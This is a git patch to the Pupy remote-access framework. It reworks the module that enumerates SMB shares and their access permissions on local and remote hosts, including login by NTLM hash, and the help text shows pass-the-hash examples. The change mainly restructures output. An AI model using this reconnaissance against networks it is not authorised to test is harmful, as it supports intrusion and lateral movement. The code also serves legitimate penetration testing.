From a5975a10c8bf8705f25fc1c8937d391a8316e2ce Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 30 Jan 2018 23:55:24 +0200 Subject: [PATCH] Fix prints --- pupy/modules/shares.py | 123 +++++++++++++--------- pupy/packages/all/pupyutils/share_enum.py | 43 +++++--- 2 files changed, 101 insertions(+), 65 deletions(-) diff --git a/pupy/modules/shares.py b/pupy/modules/shares.py index cac892f6..d3442d08 100644 --- a/pupy/modules/shares.py +++ b/pupy/modules/shares.py @@ -1,72 +1,91 @@ # -*- coding: utf-8 -*- from pupylib.PupyModule import * from netaddr import * +from pupylib.utils.rpyc_utils import obtain +from pupylib.PupyCmd import PupyCmd __class_name__="Shares" @config(category="admin", compat=["windows", "linux"]) class Shares(PupyModule): - """ List local and remote shared folder and permission """ + """ List local and remote shared folder and permission """ - dependencies = { - 'windows': [ - 'win32api', 'win32com', 'pythoncom', - 'winerror', 'wmi', 'pupwinutils.drives', - ], - 'all': [ - 'impacket', 'calendar', 'pupyutils.share_enum' - ] - } + dependencies = { + 'windows': [ + 'win32api', 'win32com', 'pythoncom', + 'winerror', 'wmi', 'pupwinutils.drives', + ], + 'all': [ + 'impacket', 'calendar', 'pupyutils.share_enum' + ] + } - def init_argparse(self): - example = 'Examples:\n' - example += '>> run shares local\n' - example += '>> run shares remote -u john -p password1 -d DOMAIN -t 192.168.0.1\n' - example += '>> run shares remote -u john -H \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\' -t 192.168.0.1\n' + def init_argparse(self): + example = 'Examples:\n' + example += '>> run shares local\n' + example += '>> run shares remote -u john -p password1 -d DOMAIN -t 192.168.0.1\n' + example += '>> run shares remote -u john -H \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\' -t 192.168.0.1\n' - self.arg_parser = PupyArgumentParser(prog="shares", description=self.__doc__, epilog=example) - subparsers = self.arg_parser.add_subparsers(title='Enumerate shared folders') + self.arg_parser = PupyArgumentParser(prog="shares", description=self.__doc__, epilog=example) + subparsers = self.arg_parser.add_subparsers(title='Enumerate shared folders') - local = subparsers.add_parser('local', help='Retrieve local shared folders') - local.set_defaults(local="list_shared_folders") + local = subparsers.add_parser('local', help='Retrieve local shared folders') + local.set_defaults(local="list_shared_folders") - remote = subparsers.add_parser('remote', help='Retrieve remote shared folders and permission') - remote.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed") - remote.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password") - remote.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash') - remote.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)") - remote.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)") - remote.add_argument("-t", dest='target', type=str, help="The target range or CIDR identifier") + remote = subparsers.add_parser('remote', help='Retrieve remote shared folders and permission') + remote.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed") + remote.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password") + remote.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash') + remote.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)") + remote.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)") + remote.add_argument("-t", dest='target', type=str, help="The target range or CIDR identifier") - def run(self, args): + def run(self, args): - # Retrieve local shared folders - try: - if args.local: - if self.client.is_windows(): - print self.client.conn.modules['pupwinutils.drives'].shared_folders() - else: - self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1') - return - except: - pass + # Retrieve local shared folders + try: + if args.local: + if self.client.is_windows(): + print self.client.conn.modules['pupwinutils.drives'].shared_folders() + else: + self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1') + return + except: + pass - # Retrieve remote shared folders - if not args.target: - self.error("target (-t) parameter must be specify") - return + # Retrieve remote shared folders + if not args.target: + self.error("target (-t) parameter must be specify") + return - if "/" in args.target: - hosts = IPNetwork(args.target) - else: - hosts = list() - hosts.append(args.target) + if "/" in args.target: + hosts = IPNetwork(args.target) + else: + hosts = list() + hosts.append(args.target) - print hosts + for host in hosts: + result = obtain(self.client.conn.modules["pupyutils.share_enum"].connect( + host, args.port, args.user, args.passwd, args.hash, args.domain)) - for host in hosts: - self.info("Connecting to the remote host: %s" % host) - print self.client.conn.modules["pupyutils.share_enum"].connect( - host, args.port, args.user, args.passwd, args.hash, args.domain - ) + if 'error' in result: + if 'os' in result: + self.error('{}:{} OS={} NAME={}: {}'.format( + host, args.port, result['os'], result['name'], result['error'])) + else: + self.error('{}:{}: {}'.format( + host, args.port, result['error'])) + else: + self.success('{}:{} OS=[{}] NAME=[{}] AUTH={}'.format( + host, args.port, result['os'], result['name'], result['auth'])) + shares = [{ + 'SHARE': x[0], + 'ACCESS': x[1] + } for x in result['shares']] + + self.stdout.write( + PupyCmd.table_format(shares, wl=[ 'SHARE', 'ACCESS' ]) + ) + + self.stdout.write('\n') diff --git a/pupy/packages/all/pupyutils/share_enum.py b/pupy/packages/all/pupyutils/share_enum.py index 21146913..1fcdefe2 100644 --- a/pupy/packages/all/pupyutils/share_enum.py +++ b/pupy/packages/all/pupyutils/share_enum.py @@ -9,7 +9,7 @@ PERM_DIR = ''.join(random.sample(string.ascii_letters, 10)) def _listShares(smb, passwd): permissions = dict() root = ntpath.normpath("\\{}".format(PERM_DIR)) - + for share in smb.listShares(): share_name = str(share['shi1_netname'][:-1]) permissions[share_name] = "NO ACCESS" @@ -30,36 +30,53 @@ def _listShares(smb, passwd): return permissions def connect(host, port, user, passwd, hash, domain="workgroup"): + result = {} try: smb = SMBConnection(host, host, None, port, timeout=2) + guest = False + try: smb.login('' , '') + guest = True + result.update({ + 'auth': 'guest', + }) except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass - print "[+] {}:{} is running {} (name:{}) (domain:{})".format(host, port, smb.getServerOS(), smb.getServerName(), domain) try: lmhash = '' nthash = '' if hash: lmhash, nthash = hash.split(':') - smb.login(user, passwd, domain, lmhash, nthash) - separator = " " * (50 - len("SHARE")) - print "\tSHARE%sPermissions" % separator - print "\t----%s-----------" % separator + if user and ( passwd or lmhash or nthash ): + smb.login(user, passwd, domain, lmhash, nthash) + + if not guest: + result.update({ + 'auth': user, + }) + + result.update({ + 'os': smb.getServerOS(), + 'name': smb.getServerName(), + 'shares': [], + }) + for share, perm in _listShares(smb, passwd).iteritems(): - separator = " " * (50 - len(share)) - print "\t%s%s%s" % (share, separator, perm) - - print + result['shares'].append((share, perm)) + smb.logoff() except SessionError as e: - print "[-] {}:{} {}".format(host, port, e) + result['error'] = str(e) + except Exception as e: - print "[-] {}:{} {}".format(host, port, e) + result['error'] = str(e) except Exception as e: - print "[!] {}".format(e) + result['error'] = str(e) + + return result